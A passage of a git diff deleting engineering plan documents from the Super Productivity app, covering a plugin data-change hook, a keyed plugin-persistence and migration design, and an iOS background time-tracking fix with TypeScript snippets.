clears the whole set for - that pluginId across all hooks. (No per-handler unregister API.) - -(Plugin-side specs live in the follow-up issue's PR, not here.) - -## Risks - -| Risk | Mitigation | -| ---------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `skipDuringSyncWindow` mis-applied — suppresses legitimate remote ops outside the SYNC_IMPORT window | Verify operator semantics in `src/app/util/skip-during-sync-window.operator.ts` before coding; spec #3 + #5 distinguish the two cases. | -| Hook reentrancy: handler calls `persistDataSynced`, which triggers another emission | Persistence service already serializes per-plugin via `_commitChain` (`plugin-user-persistence.service.ts:62`); handler's write awaits its own commit. Hook fire is `tap`-based (fire-and-forget), so emissions are not blocked by slow handlers. Ordering across rapid emissions is not guaranteed — document on the contract. | -| `pairwise` swallows first emission | `startWith([])` prepends an empty array so the first real state IS the second emission and `pairwise` yields `[[], firstState]`. Matches the `onCurrentTaskChange$` pattern at `plugin-hooks.effects.ts:94`. | -| Plugin uninstall / re-register leaves stale handlers | Existing `unregisterPluginHooks` (`plugin-hooks.ts:65-68`) already clears all hooks per plugin. No additional work. | -| Cross-tab "self-echo" | Tab B legitimately sees Tab A's write as remote — there is no self-echo to defend against. Spec the case as part of test #3. | - -## Out of scope - -- **Document-mode adoption.** Tracked separately (see "Follow-up" - section above). The host hook ships first; doc-mode adopts in its - own PR after this groundwork bakes. -- **All other plugins' adoption** (sync-md, automations, brain-dump, - ai-productivity-prompts). Same pattern — host hook ships, each - plugin opts in on its own timeline with its own UX decisions. -- `PERSISTED_DATA_DELETED` hook — no real consumer. -- `source: 'local' | 'remote'` payload flag — YAGNI; idempotent contract - is enough; revisit if a plugin needs the discriminator. -- Cross-context concurrent-edit data loss (LWW collapsing different- - context edits onto one whole-blob entity). Stage A's territory. -- Same-context concurrent-edit conflict resolution. Still whole-doc - LWW. CRDT territory (Stage C, deferred indefinitely). -- Stage A keyspace interaction. When Stage A lands, revisit whether the - payload needs a `key` (the `pluginId` argument to `dispatchHookToPlugin` - becomes a composite id and the plugin can parse it). Until then, the - hook fires once per pluginId, period. -- Throttling. The persistence service rate-limits writes; sync apply is - event-driven. If a real flood appears in practice, add throttling - then. -- `BACKUP_IMPORT` distinction from `SYNC_IMPORT`. Both are suppressed by - the same sync-window operator; same rationale applies. - -## Implementation order - -1. `plugin-hooks.ts` — widen `_handlers` to `Set`; update - `registerHookHandler`, `dispatchHook`, `unregisterPluginHooks`. ~20 - LOC. -2. `plugin-hooks.ts` — add `dispatchHookToPlugin` (iterates Set). ~15 - LOC + JSDoc on both dispatch methods. -3. `plugin.service.ts` — passthrough `dispatchHookToPlugin`. ~5 LOC. -4. Helper file (`plugin-data-diff.util.ts` or inline in the effects - file) — `diffChangedPluginIds(prev, next): string[]`. Pure. ~20 LOC. -5. `plugin-hooks.effects.ts` — the effect per "Skeleton" above. ~20 LOC. -6. `packages/plugin-api/src/types.ts` — rename enum entry; payload to - `void`. ~3 LOC. -7. `packages/plugin-api/README.md` — one paragraph per the snippet - under "API surface changes." -8. Specs per the test plan. - -Total: ~85 LOC + specs. Realistic estimate **3–4 hours** end to end. - -## Changelog - -- 2026-05-23 v1 — initial proposal: per-pluginId cache in persistence - service, encoded-data payload, separate `PERSISTED_DATA_DELETED` - hook, document-mode adoption in same PR. Multi-reviewed. -- 2026-05-23 v2 — cut and reframed per multi-review: - - Removed the dedupe cache: differ alone is sufficient because - encoding is deterministic (Reviewer 2). - - Renamed enum to `PERSISTED_DATA_CHANGED` for consistency with - `*_CHANGE` siblings (Reviewer 3). - - Payload simplified to `void` (Reviewer 2 + 3). - - Dropped `PERSISTED_DATA_DELETED` (all three reviewers). - - SYNC_IMPORT explicitly suppressed via `skipDuringSyncWindow` - (Reviewer 1 + 2). Reasoning documented; rule 2 satisfied. - - Dropped false `PROJECT_LIST_UPDATE` precedent citation; selector - approach presented on its own merits (Reviewer 1). - - Added `startWith([])` for `pairwise` determinism (Reviewer 1). - - Differ clarified as id-membership + data comparison; deletes - detected from array structure (Reviewer 1). - - Document-mode adoption split out as a separate change (Reviewer 2). - - Stage A reasoning stripped to a one-liner (Reviewer 2). - - Estimate corrected to 3–4 hours (Reviewer 2). -- 2026-05-23 v3 — re-folded document-mode adoption back into scope per - user request. Reason: shipping the host hook alone delivers no - user-visible benefit; the staleness gap remains until the plugin - adopts. Bundling them in one PR avoids re-litigating the banner UX - later. Added explicit `background.ts` and `ui/editor.ts` adoption - sections, banner UX rationale ("no auto-replace when dirty"), - plugin-side specs (#9–13), and the deploy step. Estimate revised to - 6–8 hours. -- 2026-05-23 v4 — split scope. User clarified: this PR should be the - groundwork (better plugin-data sync handling); doc-mode adoption - is a separate GitHub issue to start after groundwork lands. v3 - multi-review surfaced doc-mode UX blockers (`setContent` destroys - selection; mount race; bare reload-only banner doesn't prevent - clobber) which are now seeds for the follow-up issue rather than - fixes attempted here. Restored host-only scope; estimate back to - 3–4 hours. Doc-mode adoption notes preserved in "Follow-up" section - so the follow-up implementer starts from the multi-reviewed - insights, not a blank page. -- 2026-05-27 v5 — multi-review of the doc-mode follow-up plan (#7752) - surfaced a host-side handler-collision bug: `_handlers` map keys - by `(hook, pluginId)` with a single handler slot, so document-mode's - background + iframe registrations clobber each other under the - shared pluginId. Folded the fix into this PR (widen to - `Set`) since it's small, in the same file, and blocks any - doc-mode adoption regardless of UX direction. Same review rejected - the elaborate UX previously sketched in the v3/v4 "Follow-up" - section ("Keep mine" promises durability LWW cannot deliver; silent - swap costs more than it's worth) — replaced with the leaner - "Option A" scope. Estimate revised to 3.5–4.5 h for this host PR; - doc-mode follow-up trimmed to ~2 h. -- 2026-05-27 v6 — second multi-review pass verified all v5 round-1 - closures and surfaced two new gaps: (a) the proposed - `lastSeenRemoteData` capture point ("raw stored blob after - `loadContextDoc`") is mechanically impossible because - `loadContextDoc` parses and discards the raw string, and editor - encoding via `getJSON()` is not byte-stable across the load path - (`prepareStoredDoc` mutates chip content against the local task - cache); (b) the pre-reload backup adds a cross-device-synced - persisted-key class with no GC, no UI to discover the backup, and a - load-encoding-dependent double-click race. Resolved by collapsing - both: drop the backup entirely; redefine `lastSeenRemoteData` to be - the raw `loadSyncedData()` string compared against itself (no - editor-side encoding involved). Also cut from this host PR: - `unregisterHookHandler` (unused public API surface — host plan - explicitly didn't wire iframe-side teardown to call it). Host PR - estimate back to 3–4 h; doc-mode follow-up to ~1.25 h. diff --git a/docs/plans/2026-05-23-stage-a-keyed-plugin-persistence.md b/docs/plans/2026-05-23-stage-a-keyed-plugin-persistence.md deleted file mode 100644 index 85bbbde94d..0000000000 --- a/docs/plans/2026-05-23-stage-a-keyed-plugin-persistence.md +++ /dev/null @@ -1,357 +0,0 @@ -# Stage A — keyed plugin-persistence API for per-context sync entities - -**Status:** **Phases 1, 3, 4 implemented 2026-05-23** (Phase 2 still deferred) -**Date:** 2026-05-23 -**Issue:** [super-productivity#7749](https://github.com/super-productivity/super-productivity/issues/7749) -**Predecessor:** [`2026-05-22-document-mode-sync-data-model.md`](./2026-05-22-document-mode-sync-data-model.md) (Stage 0 — gzip + throttle, shipped) - -## Implementation status - -| Phase | Status | Commits | -| ---------------------------------------------------------- | --------------------------- | ----------------------- | -| Phase 1 — keyed API end-to-end | Implemented | `b628ec5eec` | -| Phase 2 — `EntityAdapter` conversion | Deferred (not load-bearing) | — | -| Phase 3 — host-side cleanup (Option A) | Implemented | `b628ec5eec` | -| Phase 4 — document-mode migration | Implemented | `4cd60ca852` | -| Boundary tightening (review fixes) | Implemented | `79d7558ae8` | -| Per-write cap reduced 1 MB → 256 KB | Implemented | `0aac34f581` | -| E2E migration coverage | Implemented | `103f6d582e` | -| Migration `attemptedAt` + `detectStaleLegacyWrite` cleanup | Implemented | _(follows this commit)_ | - -Behavior change worth noting on release: `removePluginUserData` now -no-ops when no matching entries exist in local state, instead of -emitting a phantom Delete op for the bare pluginId. Pre-Stage-A that -phantom propagated to peers via sync; post-Stage-A, per-device -uninstall is a local decision. Users who expect uninstall on Device A -to also clear data on Device B should uninstall on each device. - -## TL;DR - -Document-mode was unregistered from bundled plugins -(`b0cae69ffe`) and is being re-bundled **without** Stage A: opt-in usage - -- Stage 0 (~75× wire-payload reduction) + the existing in-plugin - migration runway are judged enough for the initial bundled rollout. The - remaining cross-context concurrent-edit conflict at the LWW layer is the - gap this plan closes, and it's picked up when real users hit it. - -The shipping unit, when picked up, is Phase 1 + Phase 3 + Phase 4 in -one release window. Phase 2 (`EntityAdapter`) stays deferred unless a -profiler shows otherwise. Phase 0 telemetry stays cut — explained under -"Out of scope." - -No code changes are recommended ahead of Phase 1. (An earlier draft -proposed a "one-line safety net" extending `deletePluginUserData`'s -reducer to sweep `pluginId:*`. Reconsidered and dropped: locally it -would sweep, but the op-log captures one Delete op for `pluginId` -only — remote replicas would still hold keyed entries. False security. -Phase 1 must do proper N-action cleanup via the service, not a reducer -trick.) - -## Keyspace contract (frozen here, not in code yet) - -When Phase 1 lands, `composeId(pluginId, key?)` must obey: - -- `composeId(pluginId, undefined) === pluginId` (legacy form preserved). -- `composeId(pluginId, key) === pluginId + ':' + key` for any non-empty - `key` not containing `:`. -- Empty `key` (`''`) is treated as `undefined`; no distinct error. Reviewer - consensus: a separate `InvalidPluginPersistenceKey` for the empty case - is over-precision. -- `composeId` **throws synchronously** if `pluginId` itself contains `:`. - This is the only enforcement that survives "the plugin was installed - before validation existed" — registration-time validation alone misses - user-installed plugins (verified: no provenance check on startup). - -The delimiter `:` is the issue's suggestion; verified clean against the -in-tree plugins (`packages/plugin-dev/*/manifest.json` grep — none use -`:` in their ids). - -## Phase 1 — keyed API end-to-end (design sketch) - -Forward and backward compatible at the storage layer because the reducer -(`plugin-user-data.reducer.ts:19-25`) is purely id-keyed and pattern- -agnostic — a pre-Stage-A client replicates and stores `pluginId:key` -entries inertly without code to read them. (Verified.) - -### 1.1 Public API surface - -- `packages/plugin-api/src/types.ts:555-557`: - ```ts - persistDataSynced(dataStr: string, key?: string): Promise; - loadSyncedData(key?: string): Promise; - ``` - -### 1.2 iframe wrapper — pass the key - -- `src/app/plugins/util/plugin-iframe.util.ts:365-367`: wrappers declare - `(data) =>` and never read a second arg. `callApi(name, args)` already - forwards the array transparently: - ```ts - persistDataSynced: (data, key) => callApi('persistDataSynced', [data, key]), - loadPersistedData: (key) => callApi('loadPersistedData', [key]), - loadSyncedData: (key) => callApi('loadPersistedData', [key]), - ``` - -### 1.3 Host bridge — thread + validate - -- `src/app/plugins/plugin-bridge.service.ts:239-240, :1034-1065`: bound - methods accept `(data, key?)`. `composeId` is called here (transport - layer) so the same validation covers iframe and direct callers. - -### 1.4 Persistence service — composite id, same Maps - -- `src/app/plugins/plugin-user-persistence.service.ts`: all internal - `Map` are already keyed by what we currently call `pluginId`. - Re-key by `composeId(pluginId, key)`. No structural change. -- `removePluginUserData(pluginId)` is **rewritten in Phase 3**, not in - Phase 1. See Phase 3 for the correct mechanism. In Phase 1 it still - dispatches a single `deletePluginUserData({ pluginId })`, which now - only removes the legacy entry — keyed entries leak if Phase 3 hasn't - landed yet. That's why Phase 1 and Phase 3 ship together. - -### 1.5 Rate-limit & size-cap - -- Keep `MIN_PLUGIN_PERSIST_INTERVAL_MS` and `MAX_PLUGIN_DATA_SIZE` enforced - per **composite id** (mechanical re-key of the current Map). -- **No per-plugin aggregate cap.** Originally proposed; multi-review - rejected it on two grounds: (a) YAGNI — no real-world threat; (b) the - proposed running-total check is racy across the async compression - boundary in `_encodeAndDispatch` (two concurrent persists with - different keys both pass the synchronous check then both succeed). If - a real abuse case appears later, the correct fix is a per-pluginId - commit chain (mirror `_commitChain` but scoped to pluginId), not an - unserialized running total. - -### 1.6 Tests - -- Composite-id round-trip; throws on `pluginId` containing `:`. -- Two distinct keys → two distinct ops with distinct `entityId`s. -- Keyless `loadPluginUserData(pluginId)` still hits the legacy entry. -- iframe → host carries the key in `postMessage` payload. -- Regression: existing `plugin-user-persistence.service.spec.ts` — - read-your-writes, generation counter, commit chain. - -(Tests for the cleanup mechanism move to Phase 3.) - -## Phase 2 — `EntityAdapter` conversion (deferred indefinitely) - -Current reducer is a 28-LOC array with `findIndex`/`filter`. The issue -flagged O(N) regression at scale. **Verdict from multi-review:** still -not the bottleneck. - -- `findIndex` runs on every reducer match, _including_ sync replay via - `bulkApplyOperations`, SYNC_IMPORT, validateAndFix sweeps. With 500 - entries this is still sub-millisecond per op; a 1000-op replay touches - it ≤ 1000× → < 1 s of accumulated cost. Not load-bearing. -- Revisit if and only if NgRx devtools profiler shows the reducer in the - hot path with realistic post-Phase-1 data. Conversion itself is - mechanical (`createEntityAdapter` swap + selectors + spec rewrite). - -## Phase 3 — host-side cleanup of `pluginId:*` - -Ships with Phase 1. Without it, every uninstall (or full clear) leaks -keyed entries on remote devices. - -### Why a reducer-only "prefix match" doesn't work - -Verified against `operation-capture.service.ts:135-158`: the op-log -captures one op per _dispatched action_, not per state mutation. A -reducer that sweeps multiple ids in response to a single -`deletePluginUserData({ pluginId })` emits one Delete op for `pluginId` -only — remote replicas keep the keyed entries. Reviewer 1 caught this -in the original design (a meta-reducer fan-out) and it applies equally -to a "smart reducer" shortcut. Don't take it. - -### Two correct mechanisms, choose at implementation time - -**Option A — N dispatched actions (mirrors `clearAllPluginUserData`).** -The service reads current state, filters by -`item.id === pluginId || item.id.startsWith(pluginId + ':')`, and -dispatches one `deletePluginUserData({ pluginId: item.id })` per match, -then `await new Promise(r => setTimeout(r, 0))` per CLAUDE.md sync rule 6. Each dispatch produces one Delete op; remote replay reconstructs the -full sweep. Pattern already exists at -`plugin-user-persistence.service.ts:268-277`. - -**Option B — one action carrying `entityIds: string[]`.** A new -`cleanupPluginUserData({ pluginId, entityIds })` action whose `meta` -declares plural `entityIds`. The op-log capture path supports this -(`operation-sync.util.ts:67`, `operation-converter.util.spec.ts:70-74`, -matches the existing `batchUpdateForProject` pattern). Single dispatch, -single op carrying the list, replays atomically on remote sides. - -Recommended: **Option A** for first-cut implementation. It re-uses an -existing action shape and an existing pattern in the same service file. -Option B is structurally cleaner but adds a new action + entity-registry -consideration; defer until profiling or correctness pushes for it. - -### Tests - -- 3 keyed + 1 legacy entry for `pluginA`; cleanup removes all 4; - `pluginB`'s entries untouched. -- Mock op-log capture verifies 4 Delete ops emitted (Option A) or 1 - Delete op with `entityIds.length === 4` (Option B). -- Read-after-cleanup via `loadPluginUserData(pluginA, 'k')` returns - `null`. -- Concurrent `persistPluginUserData` mid-cleanup: the generation counter - in the service must invalidate the in-flight commit (existing - mechanism — confirm it still triggers per composite id, not just per - pluginId). - -## Phase 4 — migration of the legacy single-blob entry - -Affects every installed document-mode user (manual installers and the -larger bundled-rollout cohort, both of whom have legacy single-blob -entries). Ships with whatever release introduces Phase 1. - -### Strategy - -Plugin-side, not host-side. The host's job is to not break. - -```ts -async function migrateToKeyedPersistence(): Promise { - // Step 1: stamp the attempt FIRST (Reviewer 3 finding 7). - const meta = await PluginAPI.loadSyncedData('__meta__'); - const parsedMeta = meta ? JSON.parse(meta) : null; - if (parsedMeta?.migrated === 1) return; - - const legacy = await PluginAPI.loadSyncedData(); // keyless = legacy - if (!legacy) { - await PluginAPI.persistDataSynced(JSON.stringify({ migrated: 1 }), '__meta__'); - return; - } - - await PluginAPI.persistDataSynced( - JSON.stringify({ migrated: 0, attemptedAt: Date.now() }), - '__meta__', - ); - - // Step 2: split. - const parsed = JSON.parse(legacy); - for (const [ctxId, doc] of Object.entries(parsed.docs ?? {})) { - await PluginAPI.persistDataSynced(JSON.stringify(doc), `doc:${ctxId}`); - } - await PluginAPI.persistDataSynced( - JSON.stringify({ enabledCtxIds: parsed.enabledCtxIds ?? [] }), - 'meta', - ); - - // Step 3: delete legacy entry + stamp success. - // A keyless persist of an empty payload is interpreted as - // "tombstone the legacy entry" — see below. - await PluginAPI.persistDataSynced('', undefined); // legacy = tombstone - await PluginAPI.persistDataSynced(JSON.stringify({ migrated: 1 }), '__meta__'); -} -``` - -### Why an explicit legacy tombstone, not "read both" - -Original mitigation 1 ("read both, prefer most-recent") **does not work** -under LWW. Verified: `PLUGIN_USER_DATA` is `storagePattern: 'array'` -(`entity-registry.ts:331`), LWW resolves per-`entityId`, and the legacy -entry and `pluginId:doc:p1` have **different entityIds** → they don't -LWW-conflict. They coexist forever, and an offline edit to the legacy -blob on Device B sits there indefinitely with no host-side mechanism to -prefer one over the other. - -Tombstoning the legacy entry (an empty payload, which the plugin's read -path treats as "ignore") gives LWW a winning side: Device B's offline -edit to the legacy blob is _guaranteed_ to lose against the tombstone if -the tombstone's timestamp is later. If B's edit is later, the user keeps -that edit (which is the same data the migration was about to split) — -acceptable. - -Note: "empty payload as tombstone" is plugin-side convention, not a host -primitive. The host stores an `id` with empty `data`; reads return the -empty string; the plugin treats `''` as "no legacy data". The -alternative is an explicit `removePluginUserData` from inside the plugin -— not exposed today and a bigger API change than the migration warrants. - -### Partial-failure recovery - -The `migrated: 0, attemptedAt` stamp lets a retry detect a previously -crashed migration. On resume: - -- If any `pluginId:doc:*` entries exist with `lastModified > attemptedAt`, - another device already migrated concurrently — bail and just stamp - `migrated: 1` locally. -- Otherwise, re-run the loop. Each upsert is content-idempotent (same - context → same doc), so re-running costs op-log budget but doesn't - corrupt state. - -### Cross-device version skew - -Real for any user who lags app updates. The plugin should show a "this -device has older sync data, update on all devices" banner when it -detects a post-migration write to the legacy id. Plugin-side only; no -host work. Same shape as any plugin-format migration. - -## Out of scope - -- Per-edit CRDT (Yjs / Stage C). -- IndexedDB `(entityType, entityId)` compound index. The issue lists - this as a prerequisite. Verified the current hot queries - (`operation-log-store.service.ts:519, :955`) use - `BY_SOURCE_AND_STATUS`, not "latest op per entity". If a hot path - surfaces later, add the index in its own PR with a benchmark — not as - part of this work. -- Per-plugin rate-limit aggregation (deferred; correct fix is per-pluginId - commit chain, not running totals). -- Conflict telemetry. Originally proposed as Phase 0; cut. Reasons: - (a) the in-memory counter is reset on every refresh, so it can't drive - a release decision over the timescale needed; - (b) a per-entity-type counter can't distinguish "same-context conflict" - (where current LWW is correct) from "different-context conflict" - (Stage A's actual motivation) — both classify as - `PLUGIN_USER_DATA CONCURRENT`; - (c) document-mode unbundling means the population we'd be measuring - over is empty. - If revived: persist daily-bucketed counts in localStorage **and** add - a discriminator (e.g. "loser blob's top-level JSON keys disjoint from - winner's"). -- Changes to `PLUGIN_METADATA`. - -## Risks - -| Risk | Mitigation | -| ---------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Keyed entries leak on uninstall if Phase 1 ships alone | Don't ship alone. Phase 1 + Phase 3 land together. A reducer-level prefix-match looks tempting but is wrong (local sweep without matching ops → remote replicas leak; see Phase 3). | -| Cross-device version skew during Stage A rollout | Plugin-side "older device detected" banner; documented limitation. Worse than v3's framing assumed — without bundling-gated-on-Stage-A, the skew window is "user updates the app whenever they update" plus the lag of users still on a pre-Stage-A release. | -| Stale editor view when a remote `PLUGIN_USER_DATA` op lands during an open session | Document-mode subscribes only to `WORK_CONTEXT_CHANGE`; the editor's in-memory `storedState` does not refresh on remote upserts to the plugin entity. The user keeps typing against stale data until they switch contexts or reload. **Stage A does not fix this** — it splits the entity but the editor would still need an upstream-change hook to refresh. Independent follow-up: `PluginHooks.PERSISTED_DATA_UPDATE = 'persistedDataUpdate'` already exists in `packages/plugin-api/src/types.ts:24` but is **never dispatched on the host side** (grep `src/app/`); wiring requires a store-subscription in `plugin-bridge.service.ts` (selector-based, since CLAUDE.md sync rule 1 forbids the `ALL_ACTIONS` effect that would otherwise see remote upserts). Comment in `background.ts` marks the spot. | -| User-installed third-party plugin with `:` in its id | `composeId` throws synchronously; existing keyless data path still works (it calls neither `composeId` nor the keyed API). The plugin's read of its own data is unaffected unless it tries to call the keyed API, in which case it sees a synchronous throw with a clear message. | -| Cross-device plugin version skew (Phase 4) | Plugin-side banner; documented limitation. Same as any plugin-format migration. | -| Op-log compaction storm during heavy multi-context editing | Real risk Phase 1 needs to handle: 50 keyed entries × ~1 op/sec each × `COMPACTION_THRESHOLD = 500` → compaction every ~10 s. Per-pluginId commit chain (deferred above) is the eventual fix. Until then, document-mode's SAVE_THROTTLE_MS (~2 s) holds the per-context rate well below 1/sec, so the projected storm is theoretical. **Monitor first.** | -| Stage-A writer downgrades to pre-Stage-A client | Keyed entries become silently invisible to the plugin (storage intact, read path returns nothing for keys). Acceptable for an opt-in plugin; document. | -| Phase 4 partial-failure | `migrated: 0, attemptedAt` stamp + content-idempotent upserts + cross-device "newer keyed entry exists" check. | - -## Testing - -- Phase 1: per §1.6. -- Phase 3: per the Phase 3 "Tests" subsection. -- Phase 4: integration test in `packages/plugin-dev/document-mode/` — - legacy → migrated, second-run no-op, crash-then-resume, concurrent - device migration, tombstoned-then-resurrected legacy edit. -- Regression: full `npm test` (both TZ variants). - -## Changelog of this plan - -- 2026-05-23 v1 — initial draft, six-phase rollout, telemetry-gated. -- 2026-05-23 v2 — multi-reviewed and cut. Three blockers fixed (meta- - reducer mechanism, LWW mitigation, `composeId` enforcement boundary), - Phase 0 telemetry dropped, Phase 1.5 size-cap dropped, document-mode - unbundling acknowledged. Framed as deferred design sketch. -- 2026-05-23 v3 — re-framed as scheduled work: document-mode will be - re-bundled once Stage A lands, so Stage A is the gate, not academic. - Phase 3 un-folded from Phase 1 (the "one-line safety net" was false - security — local sweep without matching ops would leak on remote - replicas). Phase 3 now spells out two correct mechanisms (N - dispatches vs. one action with `entityIds`), recommends Option A. - Phase 4 framed as shipping with the re-bundling release. - Cross-device skew downgraded to "bounded by update lag." -- 2026-05-23 v4 — re-bundling decision: document-mode is being - re-bundled **without** Stage A (opt-in + Stage 0 + Phase-4-style - in-plugin migration runway is enough). Stage A returns to - "scheduled when conflicts become observable." Phase 3's correctness - notes and Phase 4's strategy stay as-is (they're needed whenever - Phase 1 lands). Cross-device skew framing reverted to v2's "real, - not bounded by anything we control." diff --git a/docs/plans/2026-05-27-ios-background-time-tracking.md b/docs/plans/2026-05-27-ios-background-time-tracking.md deleted file mode 100644 index 1522a511de..0000000000 --- a/docs/plans/2026-05-27-ios-background-time-tracking.md +++ /dev/null @@ -1,185 +0,0 @@ -# iOS background time-tracking — implementation plan - -Closes #7824 / tracked in #7826. - -## Problem - -On iOS, time tracking and the focus-mode timer freeze when the app is -backgrounded. The WKWebView's WebContent process is suspended within seconds -of `applicationDidEnterBackground`, halting `interval(1000)` and every other -JS timer. Android works around this with a native `TrackingForegroundService`; -no equivalent primitive exists on iOS (silent-audio / location -`UIBackgroundModes` are App Store violations for a time tracker, and -`beginBackgroundTask` does not keep the WebView ticking). - -## Strategy: wall-clock reconciliation on resume - -Trust `Date.now()` deltas. On `pause` persist whatever we have (handled by the -existing `main.ts` `appStateChange` listener, inside its `BackgroundTask` -budget); on `resume` compute the wall-clock gap and credit it (capped) to the -active task, then nudge the focus-mode reducer so its UI snaps to truth. - -The codebase already exposes the three primitives this needs: - -- `GlobalTrackingIntervalService._currentTrackingStart` — wall-clock anchor; - survives JS suspension because nothing mutates it while suspended. -- `triggerWakeUpTick(maxDurationMs)` — emits a capped delta into `tick$`, - consumed by `TaskService` via the existing `addTimeSpent` path. -- Focus reducer `tick` action — recomputes `elapsed = Date.now() - startedAt` - on every dispatch (`focus-mode.reducer.ts:62-63`), so a single dispatch - self-corrects regardless of how many ticks were missed. - -## Multi-review findings folded in - -This plan was reviewed by parallel reviewers across two rounds (plan review, -then a post-implementation code review). Adjustments: - -1. **Cap raised from 30 min → 4 h.** 30 min silently swallowed legitimate - long sessions; 4 h bounds an overnight-charging scenario (~16 h) but - keeps an in-flight workday whole. Tunable post-feedback. -2. **Pause persistence stays in `main.ts`, not a new effect.** An earlier - draft added a `flushOnPause$` effect that called - `OperationWriteFlushService.flushPendingWrites()`. The post-implementation - review found this was (a) a duplicate of the drain `main.ts`'s existing iOS - `appStateChange` listener already performs, (b) run *outside* the - `BackgroundTask.beforeExit` budget (so unprotected against suspension), and - (c) racing the `main.ts` listener — if `main.ts` drained first, the - accumulated time the effect dispatched afterwards could be lost. `flushPendingWrites()` - also has a 30 s `MAX_WAIT_TIME`, so it is not bounded by the iOS budget. - Fix: the only new work needed on pause is dispatching accumulated tracked - time, so `flushAccumulatedTimeSpent()` is called inside the existing - `main.ts` iOS handler, *before* its budgeted drain. The pause effect is - removed entirely. -3. **Test seam via `iosInterface.ts`.** A small `iosInterface` exposes - `onResume$`, fed from a single Capacitor `appStateChange` listener. A plain - `Subject` (not `ReplaySubject`): unlike `androidInterface`, the producer is - a JS listener registered at bootstrap, so a resume cannot arrive before the - effect subscribes. The resume handler body is an exported pure function so - the spec exercises it directly (no `IS_IOS_NATIVE` gate inside the spec). -4. **Conditional focus dispatch.** Skip the `focusModeActions.tick()` - dispatch unless the focus timer is actually running (`timer.purpose !== - null && timer.isRunning`). The reducer no-ops anyway, but conditioning - avoids spurious action noise. -5. **Reset anchor after wake-up tick.** Android resets - `_currentTrackingStart` after a sync (`android-foreground-tracking.effects.ts:548`) - to prevent double-counting. The iOS effect calls `resetTrackingStart()` - after `triggerWakeUpTick(cap)` so the leftover (uncapped) remainder - doesn't bleed into the next 1 s interval tick. - -## Implementation - -### Files - -| File | Purpose | -|---|---| -| `src/app/app.constants.ts` | Add `MOBILE_BACKGROUND_IDLE_CAP_MS = 4 * 60 * 60 * 1000`. | -| `src/main.ts` | In the existing iOS `appStateChange` handler, call `flushAccumulatedTimeSpent()` before the budgeted op-log drain. | -| `src/app/features/ios/ios-interface.ts` (new) | `iosInterface` with an `onResume$` Subject; one `appStateChange` listener feeds it when `IS_IOS_NATIVE`. | -| `src/app/features/ios/store/ios-background-tracking.effects.ts` (new) | One `{ dispatch: false }` resume effect gated by `IS_IOS_NATIVE`. Exports the pure handler function for spec. | -| `src/app/features/ios/store/ios-background-tracking.effects.spec.ts` (new) | Karma spec covering the resume edge cases. | -| `src/app/root-store/feature-stores.module.ts` | Register effect under `IS_IOS_NATIVE`, beside Android. | - -### Pause (in `main.ts`) - -```ts -const taskId = await BackgroundTask.beforeExit(async () => { - try { - // Dispatch accumulated tracked time so it is enqueued before the drain. - appInjector?.get(TaskService).flushAccumulatedTimeSpent(); - await flushPendingOperations('iOS'); - } catch (e) { - Log.err('iOS background: operation flush failed', e); - } - BackgroundTask.finish({ taskId }); -}); -``` - -### Resume effect - -```ts -// Credit the wall-clock gap to the active task (capped), reset the anchor, -// drain accumulated time, then nudge the focus reducer if a session is running. -reconcileOnResume$ = IS_IOS_NATIVE && createEffect( - () => iosInterface.onResume$.pipe( - withLatestFrom(this._store.select(selectTimer)), - tap(([, timer]) => - handleIosResume( - this._globalTrackingIntervalService, - this._taskService, - this._store, - timer, - ) - ), - ), - { dispatch: false }, -); -``` - -### Pure handler function - -```ts -export const handleIosResume = ( - globalTracking: GlobalTrackingIntervalService, - taskService: TaskService, - store: Store, - timer: TimerState, -): void => { - globalTracking.triggerWakeUpTick(MOBILE_BACKGROUND_IDLE_CAP_MS); - globalTracking.resetTrackingStart(); - taskService.flushAccumulatedTimeSpent(); - if (timer.purpose !== null && timer.isRunning) { - store.dispatch(focusModeActions.tick()); - } -}; -``` - -## Sync / lint correctness - -- The resume effect is `{ dispatch: false }` and sources from the - `iosInterface` Subject, not `Actions` — no `LOCAL_ACTIONS`/`Actions` - injection, `no-actions-in-effects` clean. `require-hydration-guard` exempts - `{ dispatch: false }`. -- `addTimeSpent` and `focusModeActions.tick` are non-persistent - (`time-tracking.actions.ts:70` comment confirms; `tick` has no - `meta.isPersistent`) — no op-log entries replay on other devices. -- Only the batched `syncTimeSpent` from `flushAccumulatedTimeSpent` - produces an op-log entry — one per resume, not per minute. -- `task.service.ts:226` already gates the `tick$` subscriber on - `isDataImportInProgress$`, so resume during a `SYNC_IMPORT` window - is silently dropped (correct). - -## Out of scope (separate issues) - -- "You were away N hours, add it?" confirm dialog when cap is hit. -- Persisting `_currentTrackingStart` to `Capacitor Preferences` so cold- - start after WebView kill can still reconcile. -- Native iOS Live Activity / Dynamic Island timer. -- Mac Catalyst tuning (`Capacitor.getPlatform() === 'ios'` also matches - Catalyst; behavior is harmless there, just unnecessary). - -## Acceptance criteria - -Manual (no Capacitor `appStateChange` simulation precedent in `e2e/`): - -- Lock phone ~5 min while tracking a task → `task.timeSpent` advances ~5 min. -- Lock phone 5 h → advances ~4 h (capped at `MOBILE_BACKGROUND_IDLE_CAP_MS`). -- Focus session backgrounded 2 min → on resume, focus timer shows correct - `elapsed`. -- No regression on Android (effects don't fire — `IS_IOS_NATIVE` is false). -- No regression on web / desktop (same gate). - -Automated (in `ios-background-tracking.effects.spec.ts`): - -- `handleIosResume` calls `triggerWakeUpTick(4h)` → - `resetTrackingStart` → `flushAccumulatedTimeSpent` in order. -- `handleIosResume` dispatches `focusModeActions.tick()` when timer is - running. -- `handleIosResume` does NOT dispatch when `timer.purpose === null`. -- `handleIosResume` does NOT dispatch when `timer.isRunning === false` - (paused / BreakOffer). -- Cap exactly at 4 h returns capped duration (delegated to existing - `global-tracking-interval.service.spec.ts`). - -The pause path (accumulated-time flush in `main.ts`) has no new unit test — -it reuses the already-covered `flushAccumulatedTimeSpent` / -`flushPendingWrites` machinery; verified manually on device. diff --git a/docs/plans/2026-06-03-fresh-client-first-sync-data-loss-trap.md b/docs/plans/2026-06-03-fresh-client-first-sync-data-loss-trap.md deleted file mode 100644 index 5b8497ef79..0000000000 --- 